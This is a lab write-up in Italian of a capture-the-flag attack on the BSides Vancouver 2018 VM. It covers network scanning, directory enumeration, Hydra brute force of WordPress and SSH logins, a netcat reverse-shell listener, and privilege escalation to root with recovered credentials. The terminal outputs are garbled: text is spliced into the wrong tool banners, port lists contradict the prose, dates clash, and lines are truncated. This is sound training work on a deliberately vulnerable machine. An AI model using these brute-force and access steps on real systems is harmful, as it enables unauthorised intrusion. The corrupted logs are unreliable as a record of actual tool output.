

**BlackBox Pentest Report – BSides
Vancouver 2018 VM
Simulazione di attacco e conquista
root**

Autore: Mirka Febbo

Data: Agosto 2025

Indice dei capitoli

1. La Missione
2. Ricognizione rete con arp-scan
3. Analisi con Nmap su 192.168.56.106
4. Scoperta della cartella backup_wordpress
5. Attacco Hydra su John (WordPress)
6. Attacco Hydra su Anne (SSH)
7. Accesso SSH riuscito come Anne
8. Verifica privilegi con sudo -l
9. Escalation a root e conquista finale
10. Conclusioni

La Missione

L'obiettivo di questo esercizio era simulare un attacco blackbox, ossia un test senza informazioni preliminari sul sistema da attaccare.

La sfida era semplice: ottenere i privilegi root sulla macchina target.

Ricognizione rete con arp-scan

Per iniziare abbiamo effettuato una scansione di rete con arp-scan per individuare i dispositivi attivi nel segmento.

Questa fase ci ha permesso di identificare l'IP della macchina target.

```
(kali@kali)-[~]
$ sudo arp-scan -I eth0 192.168.56.0/24
[sudo] password for kali:
Interface: eth0, type: EN10MB, MAC: 08:00:27:d1:f8:5d, IPv4: 192.168.56.1
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/roymh/arp-scan)
192.168.56.1      0a:00:27:00:00:09      (Unknown: locally administered)
192.168.56.100   08:00:27:89:4e:e2      (Unknown)
192.168.56.106   08:00:27:34:29:b4      (Unknown)

0 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.920 seconds (133.333 hosts/sec)
```

Analisi con Nmap su 192.168.56.106

La prima macchina rilevata è stata analizzata con Nmap. I risultati hanno evidenziato le porte 22 (SSH) e 80 (HTTP) aperte.

```
(kali㉿kali)-[~]  
$ nmap -p- 192.168.56.106  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-22 0  
mass_dns: warning: Unable to determine any DNS servers.  
s with --dns-servers  
Nmap scan report for 192.168.56.106  
Host is up (0.0031s latency).  
Not shown: 65532 closed tcp ports (reset)  
PORT      STATE SERVICE  
21/tcp    open  ftp  
22/tcp    open  ssh  
80/tcp    open  http  
MAC Address: 08:00:27:34:29:B4 (PCS Systemtechnik/Oracl  
Nmap done: 1 IP address (1 host up) scanned in 13.54 se
```

Scoperta della cartella backup_wordpress

Navigando sul web server è stato trovato un file robots.txt che indicava una directory interessante:
/backup_wordpress.

All'interno era presente un'installazione WordPress obsoleta.

```
(kali㉿kali)-[~]
└─$ gobuster dir -u http://192.168.56.106/ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php,txt,html,bak

Gobuster v3.6    192.168.56.106    login: anne    password: princess
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url:https://github.com/va    http://192.168.56.106/ finished at: 2025-08-22 08:54:53
[+] Method:    GET
[+] Threads:10
[+] Wordlist:    /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:    404
[+] User Agent:    gobuster/3.6
[+] Extensions:    php,txt,html,bak
[+] Timeout:    10s

Starting gobuster in directory enumeration mode

/index.html    (Status: 200) [Size: 177]
/.html    (Status: 403) [Size: 287]
/index    (Status: 200) [Size: 177]
/robots    (Status: 200) [Size: 43]
/robots.txt    (Status: 200) [Size: 43]
/.html    (Status: 403) [Size: 287]
Progress: 333094 / 1102805 (30.20%)
/server-status    (Status: 403) [Size: 295]
Progress: 592162 / 1102805 (53.70%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 592196 / 1102805 (53.70%)

Finished
```

Attacco Hydra su John (WordPress)

Un primo tentativo di brute force è stato fatto sull'utente john tramite login di WordPress.

Abbiamo utilizzato Hydra con una wordlist ridotta derivata da rockyou.txt., nonostante abbiamo trovato credenziali di accesso non siamo stati in grado di diventare root, neanche provando con la revers shell, pensiamo sia perchè questo utente già non avesse privilegi.

```
(kali㉿kali)-[~]  
$ nc -lvnp 4444  
listening on [any] 4444 ...  
connect to [192.168.56.105] from (UNKNOWN) [192.168.56.106] 41242  
bash: no job control in this shell  
</backup_wordpress/wp-content/themes/twenty十六teen$
```

Per cui con questo utente siamo riusciti a metterci in ascolto, ma non ad ottenere privilegi di root

Attacco Hydra su Anne (SSH)

Abbiamo poi provato ad attaccare direttamente il servizio SSH.

Con Hydra e la wordlist rockyou-10k abbiamo trovato le credenziali valide, prima di hydra ho provato anche altri tool come medusa, mentre con john anche john the ripper, ma tentativi tutti vani.

```
—(kali@kali)-[~]
$ hydra -l anne -P rockyou-10k.txt ssh://192.168.56.106 -t 4 -f
ep -i 'login:' hydra_ssh.out
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not
s, or for illegal purposes (this is non-binding, these *** ignore
Password
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-10-27
[DATA] max 4 tasks per 1 server, overall 4 tasks, 9999 login tries
[DATA] attacking ssh://192.168.56.106:22/
[2][ssh] host: 192.168.56.106 login: anne password: princess
[STATUS] attack finished for 192.168.56.106 (valid pair found)
of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-10-27
[2][ssh] host: 192.168.56.106 login: anne password: princess

—(kali@kali)-[~]
$ wpscan --url http://192.168.56.106/backup_wordpress/ --enumer
Style Name: Twenty Sixteen
```


Accesso SSH riuscito come Anne

Con le credenziali trovate ci siamo collegati via SSH alla macchina, sapendo che hydra da anche molti falsi positivi non ero sicura, poi provando con ssh è arrivata la svolta

```
(kali㉿kali)-[~]
└─$ ssh anne@192.168.56.106
anne@192.168.56.106's password:
Welcome to Ubuntu 12.04.4 LTS (GNU/Linux 3.11.0-15-generic)

* Documentation:  https://help.ubuntu.com/password
```

Verifica privilegi con sudo -l

All'interno della macchina, abbiamo verificato i privilegi dell'utente anne con:

sudo -l

È emerso che Anne poteva eseguire qualsiasi comando come root.

```
Codename:           precise
anne@bsides2018:~$ sudo -l
[sudo] password for anne:
Matching Defaults entries for anne on this host:
    env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:

User anne may run the following commands on this host:
    (ALL : ALL) ALL
```

Escalation a root e conquista finale

Infine abbiamo ottenuto i privilegi root con:

sudo su -

Da qui abbiamo avuto accesso completo alla macchina.

```
root@bsides2018:~# cat /root/*  
Congratulations!
```

```
If you can read this, that means you were  
You should be proud!
```

Conclusioni

L'obiettivo dell'esercizio è stato raggiunto con successo: abbiamo ottenuto accesso root.

Abbiamo documentato sia i passaggi riusciti sia i tentativi falliti (es. Medusa e test su WordPress).

Nonostante i tre giorni di duro lavoro, sono fiera di essere riuscita in qualcosa che prima di intraprendere questo percorso credevo impossibile, sicuramente ho appreso vari modi di lavorare, e ne sono fiera.